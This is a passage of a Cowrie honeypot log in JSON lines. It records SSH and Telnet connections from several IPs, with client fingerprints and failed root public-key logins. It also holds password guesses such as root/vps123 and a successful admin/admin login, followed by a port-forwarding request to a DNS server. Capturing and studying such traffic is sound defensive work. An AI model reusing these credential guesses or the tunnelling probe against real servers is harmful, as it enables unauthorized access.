sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:51.469651Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:75:f3:c4:e2:d7:e4:5b:3e:4b:96:1d:cf:3f:44:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEz8uQPk1QD1ZB4ZZizWgOjBvy0h2c54E/hBOlGjMI12","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bc:75:f3:c4:e2:d7:e4:5b:3e:4b:96:1d:cf:3f:44:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.045870Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:75:f3:c4:e2:d7:e4:5b:3e:4b:96:1d:cf:3f:44:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEz8uQPk1QD1ZB4ZZizWgOjBvy0h2c54E/hBOlGjMI12","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.049506Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:4d:34:78:fc:8a:3d:e3:ef:8c:a6:c8:7f:c2:dd:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnBQO3RSaVQoKBebHSjIP+8bdyQqmz/JHpUEaLdK8M7lMmEVEiMi3AgZgse6TZckGYe0kQLO/X84C9JT+PXgES809i35nMqMZZGZbOj6qSKc/TQJfdwonF9akykcJG6oFc3YqBDRndnI/3nOxsboXTTDigfC0tz4/6HPd3CumCx9xWj6bAFnOo6KM8FUDYlue470n2GdaDpGGv+o5eRhfLCO4yOG4YaMBFqwgsbEr0SANQtyWfFSDMBPIIP96/eUnZAtSbrpnsROHtskOMRDcdga+PA26YhwYr+AFU47aQh+kumKoKvhDZ19KCkRxI6eGi4uDk18s2SCqg6RJeZtKX/RwzoZuaRXCf/25JWRGRkL8xmIVWQeGOquAbGoCuQa7wuHUWphttJq0J38sKyJdTNNXDzpfylO4z1cMduJVLJCUdDgfNhRB3IPPk+fjR8D5N8VVFB9bb8w83GpoZxeEVihpEf1TW53nLcQhSPGDD3+jC7iplFnEYjfIa3tjJy3jZ+rfQhzpM/7bdXYJqwPvlD5RbTpvUOjVNQaL8rtGqTdHBvJow7ToK+9/+b6SXL3eu0RWZEqxigTlq0sAD9EgEx7fmUph7U+wbcNIUfY9MLsOHypqW5wNWR7ivEow7WXkXCWfA+FILLja3x4xKMD5L7frEhRIsioSBtHn/KuWmvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:4d:34:78:fc:8a:3d:e3:ef:8c:a6:c8:7f:c2:dd:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.173312Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:4d:34:78:fc:8a:3d:e3:ef:8c:a6:c8:7f:c2:dd:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnBQO3RSaVQoKBebHSjIP+8bdyQqmz/JHpUEaLdK8M7lMmEVEiMi3AgZgse6TZckGYe0kQLO/X84C9JT+PXgES809i35nMqMZZGZbOj6qSKc/TQJfdwonF9akykcJG6oFc3YqBDRndnI/3nOxsboXTTDigfC0tz4/6HPd3CumCx9xWj6bAFnOo6KM8FUDYlue470n2GdaDpGGv+o5eRhfLCO4yOG4YaMBFqwgsbEr0SANQtyWfFSDMBPIIP96/eUnZAtSbrpnsROHtskOMRDcdga+PA26YhwYr+AFU47aQh+kumKoKvhDZ19KCkRxI6eGi4uDk18s2SCqg6RJeZtKX/RwzoZuaRXCf/25JWRGRkL8xmIVWQeGOquAbGoCuQa7wuHUWphttJq0J38sKyJdTNNXDzpfylO4z1cMduJVLJCUdDgfNhRB3IPPk+fjR8D5N8VVFB9bb8w83GpoZxeEVihpEf1TW53nLcQhSPGDD3+jC7iplFnEYjfIa3tjJy3jZ+rfQhzpM/7bdXYJqwPvlD5RbTpvUOjVNQaL8rtGqTdHBvJow7ToK+9/+b6SXL3eu0RWZEqxigTlq0sAD9EgEx7fmUph7U+wbcNIUfY9MLsOHypqW5wNWR7ivEow7WXkXCWfA+FILLja3x4xKMD5L7frEhRIsioSBtHn/KuWmvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.177298Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:08:36:7e:bf:41:48:e0:48:e6:72:d6:8d:35:00:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAaEY5HYqjJVf5n0MdRb+2xZip2Xk8Rko4tf/5fv6tJ4LtnXbIuj//5VVPC7vVDLxjk4EMpz5k+aaLSOK0gzWVkkftwvAqKNhLHOdSQcA5HxEow8B0MaYMJaqw0339t83p5Jh8pOLO38bUh87QIGRpnpbSUjci62OOZb+cs85uWbxzRtMFW06iYpbmzBj3L40miKYXCHTsrZ8U3C/MTWzyYEKwFduU1aGHaKTwdm8pmelA/XPCqLvd/zHZgceJcZNO53Y46+LOyimhhQ9J4k5MBNRyCJmJfGysSwNsDjArVz0sq0fZ58QZXIzRoUOOM8F2QqxI2kUKvmP26lVTZ0q76EyVvpr9BPbvWny+/RKcRgB2X4gNf+44JxAeiK/xKei/N3VpUYkRoDuZ7XWY5j+WMLHukEYm5cDOfnTG9mtpbEUXFlFttRNKMGnCULCKsCVBAGUDqXTUTwzKvhZJRZApeB5No1rUJH5RKZJVyGz64gsOudIbmJXjqzvY4NZlc73xwx4K4z4LNmKB+HVxYOrx8YueBMbrqucFYP4Z+sDqp70b7AlOAyBDY0eHC9q/dPgt3lk0anY0iibyBQjpBW/izAtVG23hAsfBBPgH5JQvNakz4yXwyj13JlRdgfkFKW9+DhTJt0og/Gxva8aJ0fvLjSyH8YblCZ4hpadm4XQHIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:08:36:7e:bf:41:48:e0:48:e6:72:d6:8d:35:00:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.298962Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:08:36:7e:bf:41:48:e0:48:e6:72:d6:8d:35:00:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAaEY5HYqjJVf5n0MdRb+2xZip2Xk8Rko4tf/5fv6tJ4LtnXbIuj//5VVPC7vVDLxjk4EMpz5k+aaLSOK0gzWVkkftwvAqKNhLHOdSQcA5HxEow8B0MaYMJaqw0339t83p5Jh8pOLO38bUh87QIGRpnpbSUjci62OOZb+cs85uWbxzRtMFW06iYpbmzBj3L40miKYXCHTsrZ8U3C/MTWzyYEKwFduU1aGHaKTwdm8pmelA/XPCqLvd/zHZgceJcZNO53Y46+LOyimhhQ9J4k5MBNRyCJmJfGysSwNsDjArVz0sq0fZ58QZXIzRoUOOM8F2QqxI2kUKvmP26lVTZ0q76EyVvpr9BPbvWny+/RKcRgB2X4gNf+44JxAeiK/xKei/N3VpUYkRoDuZ7XWY5j+WMLHukEYm5cDOfnTG9mtpbEUXFlFttRNKMGnCULCKsCVBAGUDqXTUTwzKvhZJRZApeB5No1rUJH5RKZJVyGz64gsOudIbmJXjqzvY4NZlc73xwx4K4z4LNmKB+HVxYOrx8YueBMbrqucFYP4Z+sDqp70b7AlOAyBDY0eHC9q/dPgt3lk0anY0iibyBQjpBW/izAtVG23hAsfBBPgH5JQvNakz4yXwyj13JlRdgfkFKW9+DhTJt0og/Gxva8aJ0fvLjSyH8YblCZ4hpadm4XQHIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.303081Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:55:8a:90:1b:f1:68:da:0d:3f:80:39:a8:12:6f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtSvOLOc98LdunrfDpFNc9Yr4aFNyw6ywEEriBBqWyIqj+aNa7Bj+qOmQsVRDEe58pi+XawrOrIOp1LTRQxqf+zMWLnusgPjxBKK7D7LXXp8jVWDM+hE6O+LHDi2/rzIJi/uCczI27+Oy1ioLiFB6VClifPc/RpW/F57iYp1Po4seQh8PPvbgTvJcGHLdFGk1KF2YfsEC9qSUR2iU62Vsu9+BEwoX22WTPprzWJTFnCxvSniv6oXtFAJi4TBQxZon7JLGhHg9REZ4kz6qgAOFzvu8BQIF+qFLQTOGo7gkkmJu96yVCbDmBRfyVLtasfhDbBUmC59j+Kv3N5f7lklBLHRcOynbbUUwaSY8FmVYoJ3Tuu1DZk6FHWriDrw3Ymlr7rSE7gx0DfnqhaytWGxKYxgXV69dmdtG1GY/1PQeIJWKjnBfUochQc1YjwV/j9xKGJ9LeOeVhgVCEEgHeo2X/dwEXKBITV1zrqkC+pAK8GZGbFFry5CYG6TAEszfXA/a5g4TaIhkVkPOZYcXpI6m0oGMLvj9aBsBexAkdtvwW10DYW25rkdLT5gYWNEGlndxn/hmTbBG1S77xeVNrHHY3aPrDS+Zer8zjSc22bvCWW7z7kdJUZ4TxRZ1ctNjDjLu882yGLVECUhmqoCvFEphsNvKbeZBw8M9GgBaM1hxPqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:55:8a:90:1b:f1:68:da:0d:3f:80:39:a8:12:6f:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.424356Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:55:8a:90:1b:f1:68:da:0d:3f:80:39:a8:12:6f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtSvOLOc98LdunrfDpFNc9Yr4aFNyw6ywEEriBBqWyIqj+aNa7Bj+qOmQsVRDEe58pi+XawrOrIOp1LTRQxqf+zMWLnusgPjxBKK7D7LXXp8jVWDM+hE6O+LHDi2/rzIJi/uCczI27+Oy1ioLiFB6VClifPc/RpW/F57iYp1Po4seQh8PPvbgTvJcGHLdFGk1KF2YfsEC9qSUR2iU62Vsu9+BEwoX22WTPprzWJTFnCxvSniv6oXtFAJi4TBQxZon7JLGhHg9REZ4kz6qgAOFzvu8BQIF+qFLQTOGo7gkkmJu96yVCbDmBRfyVLtasfhDbBUmC59j+Kv3N5f7lklBLHRcOynbbUUwaSY8FmVYoJ3Tuu1DZk6FHWriDrw3Ymlr7rSE7gx0DfnqhaytWGxKYxgXV69dmdtG1GY/1PQeIJWKjnBfUochQc1YjwV/j9xKGJ9LeOeVhgVCEEgHeo2X/dwEXKBITV1zrqkC+pAK8GZGbFFry5CYG6TAEszfXA/a5g4TaIhkVkPOZYcXpI6m0oGMLvj9aBsBexAkdtvwW10DYW25rkdLT5gYWNEGlndxn/hmTbBG1S77xeVNrHHY3aPrDS+Zer8zjSc22bvCWW7z7kdJUZ4TxRZ1ctNjDjLu882yGLVECUhmqoCvFEphsNvKbeZBw8M9GgBaM1hxPqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.428895Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:10:ed:98:d9:b8:14:12:fc:16:73:09:eb:72:04:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyLCH464JzgD9HFS8+zGfOWkmLcxxOI9da1y9gpUlM2qOGH+VIpo5MPmWfLFr1nCrFeAa51DVQl6jFhI/+AVgGPdzx6SmJeGjQ4I44eanzV+V4WmgAsW9p3EyrrftVYdHNdqMl/u2u95bvQNpnry5F0QI+2YV0FHTN0mu/oCH984Vwr1Q16084lunEEBxIulpmtTT1V1RTnHQQ9qp3bD3jTYK75RBDWOJ6B1nue5RWrKrD42Hxz8NLAcprDP2w7Vuysz3OVdbOJkQ7B3GA9l5Tvts8V/8KLGshR3OJIbHaCj3xmFTd763KRWImctncImX1+Ce4jgT5m+ueOaXlLJR9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:10:ed:98:d9:b8:14:12:fc:16:73:09:eb:72:04:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.549871Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:10:ed:98:d9:b8:14:12:fc:16:73:09:eb:72:04:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyLCH464JzgD9HFS8+zGfOWkmLcxxOI9da1y9gpUlM2qOGH+VIpo5MPmWfLFr1nCrFeAa51DVQl6jFhI/+AVgGPdzx6SmJeGjQ4I44eanzV+V4WmgAsW9p3EyrrftVYdHNdqMl/u2u95bvQNpnry5F0QI+2YV0FHTN0mu/oCH984Vwr1Q16084lunEEBxIulpmtTT1V1RTnHQQ9qp3bD3jTYK75RBDWOJ6B1nue5RWrKrD42Hxz8NLAcprDP2w7Vuysz3OVdbOJkQ7B3GA9l5Tvts8V/8KLGshR3OJIbHaCj3xmFTd763KRWImctncImX1+Ce4jgT5m+ueOaXlLJR9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.554021Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:44:52.676782Z","src_ip":"89.37.117.16","session":"1b6a50c5844a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50648,"dst_ip":"10.17.0.5","dst_port":22,"session":"0368b6636ecd","protocol":"ssh","message":"New connection: 193.32.162.145:50648 (10.17.0.5:22) [session: 0368b6636ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:26.510544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:26.515410Z","src_ip":"193.32.162.145","session":"0368b6636ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:26.642889Z","src_ip":"193.32.162.145","session":"0368b6636ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:26.976116Z","src_ip":"193.32.162.145","session":"0368b6636ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:28.085117Z","src_ip":"193.32.162.145","session":"0368b6636ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.241.19.39","src_port":58490,"dst_ip":"159.203.135.109","dst_port":23,"session":"23197ad5e21a","protocol":"telnet","message":"New connection: 122.241.19.39:58490 (159.203.135.109:23) [session: 23197ad5e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:38.608793Z"}
{"eventid":"cowrie.session.closed","duration":13.324671983718872,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:45:51.933357Z","src_ip":"122.241.19.39","session":"23197ad5e21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":46709,"dst_ip":"159.203.135.109","dst_port":22,"session":"748d022c5f17","protocol":"ssh","message":"New connection: 193.24.211.100:46709 (159.203.135.109:22) [session: 748d022c5f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:02.651960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:02.658458Z","src_ip":"193.24.211.100","session":"748d022c5f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:02.770406Z","src_ip":"193.24.211.100","session":"748d022c5f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123","message":"login attempt [root/vps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:03.203311Z","src_ip":"193.24.211.100","session":"748d022c5f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:04.314590Z","src_ip":"193.24.211.100","session":"748d022c5f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31792,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff8dfc22fba","protocol":"ssh","message":"New connection: 87.251.64.176:31792 (10.17.0.5:22) [session: 0ff8dfc22fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.225774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.254771Z","src_ip":"87.251.64.176","session":"0ff8dfc22fba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.324059Z","src_ip":"87.251.64.176","session":"0ff8dfc22fba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.711975Z","src_ip":"87.251.64.176","session":"0ff8dfc22fba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.813737Z","session":"0ff8dfc22fba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:36.919109Z","src_ip":"87.251.64.176","session":"0ff8dfc22fba","protocol":"ssh"}
